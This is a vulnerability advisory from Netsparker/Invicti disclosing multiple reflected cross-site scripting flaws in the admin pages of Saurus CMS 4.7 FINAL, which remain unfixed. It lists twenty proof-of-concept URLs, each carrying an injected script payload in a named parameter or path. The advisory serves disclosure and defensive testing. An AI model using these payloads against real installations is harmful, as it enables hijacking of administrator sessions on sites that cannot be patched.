Multiple XSS Vulnerabilities Identified in Saurus CMS 4.7FINAL

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Saurus CMS 4.7 FINAL
Affected Software: Saurus CMS
Affected Versions: v4.7FINAL and possibly below
Vendor Homepage: https://github.com/sauruscms 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-006

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Saurus CMS 4.7 FINAL:

URL: /saurus/admin/designs.php/'"--></style></scRipt><scRipt>alert(0x001858)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x001858)</scRipt>

URL: /saurus/admin/edit.php?op=new&keel=3&parent_id=13&kesk='"--></style></scRipt><scRipt>alert(0x00273A)</scRipt>&ttyyp_id=&tyyp_idlist=2&profile_id=&publish=3&allow_comments=3&sys_alias=headlogo
Parameter Name: kesk
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00273A)</scRipt>

URL: /saurus/admin/edit.php?op=new&keel=3&parent_id=13&kesk=&ttyyp_id=&tyyp_idlist=2&profile_id=&publish=3&allow_comments=3&sys_alias='"--></style></scRipt><scRipt>alert(0x002880)</scRipt>
Parameter Name: sys_alias
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002880)</scRipt>

URL: /saurus/admin/edit.php?op=new&keel=3&parent_id='"--></style></scRipt><scRipt>alert(0x002738)</scRipt>&kesk=&ttyyp_id=&tyyp_idlist=2&profile_id=&publish=3&allow_comments=3&sys_alias=headlogo
Parameter Name: parent_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002738)</scRipt>

URL: /saurus/admin/edit_user.php?user_id='"--></style></scRipt><scRipt>alert(0x001D90)</scRipt>&tab=user&op=edit
Parameter Name: user_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001D90)</scRipt>

URL: /saurus/admin/error_log.php?'"--></style></scRipt><scRipt>alert(0x001B38)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B38)</scRipt>

URL: /saurus/admin/error_log.php?nsextt='"--></style></scRipt><scRipt>alert(0x001A40)</scRipt>
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001A40)</scRipt>

URL: /saurus/admin/feedbackforms_handler.php/'"--></style></scRipt><scRipt>alert(0x000EF2)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000EF2)</scRipt>

URL: /saurus/admin/images_config.php/'"--></style></scRipt><scRipt>alert(0x001890)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x001890)</scRipt>

URL: /saurus/admin/log.php/'"--></style></scRipt><scRipt>alert(0x000FAE)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000FAE)</scRipt>

URL: /saurus/admin/sys_alias.php/'"--></style></scRipt><scRipt>alert(0x00194A)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x00194A)</scRipt>

URL: /saurus/admin/trash.php/'"--></style></scRipt><scRipt>alert(0x000D06)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000D06)</scRipt>

URL: /saurus/admin/user_management.php?user_id=&group_id='"--></style></scRipt><scRipt>alert(0x001B3A)</scRipt>&bookmark=1
Parameter Name: group_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B3A)</scRipt>

URL: /saurus/admin/user_management.php?user_id='"--></style></scRipt><scRipt>alert(0x001B2E)</scRipt>&group_id=1&bookmark=1
Parameter Name: user_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B2E)</scRipt>

URL: /saurus/admin/edit.php?op=edit&id='"--></style></scRipt><scRipt>alert(0x003258)</scRipt>&callback=window.opener.fileUpdated
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003258)</scRipt>

URL: /saurus/admin/edit.php?op='"--></style></scRipt><scRipt>alert(0x003360)</scRipt>&id=10507&tab=permissions&callback=window.opener.folderUpdated
Parameter Name: op
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003360)</scRipt>

URL: /saurus/admin/edit.php?op=new&tyyp_id='"--></style></scRipt><scRipt>alert(0x003424)</scRipt>&parent_id=10506&callback=window.opener.fileUpdated
Parameter Name: tyyp_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003424)</scRipt>

URL: /saurus/admin/edit.php?op=new&tyyp_id=21&parent_id=10506&callback='"--></style></scRipt><scRipt>alert(0x003552)</scRipt>
Parameter Name: callback
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003552)</scRipt>

URL: /saurus/admin/edit.php?op=edit&id=10507&tab=permissions&callback=window.opener.folderUpdated&nsextt='"--></style></scRipt><scRipt>alert(0x003622)</scRipt>
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003622)</scRipt>

URL: /saurus/admin/explorer.php?swk_setup='"--></style></scRipt><scRipt>alert(0x00364E)</scRipt>&editor=1&objekt_id=3&lang=1
Parameter Name: swk_setup
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00364E)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

15 Mar 2016 – First Contact
15 Mar 2016 – Vendor Replied
07 Jun 2016 – Advisory Released

Solution

They have stopped developing Saurus CMS.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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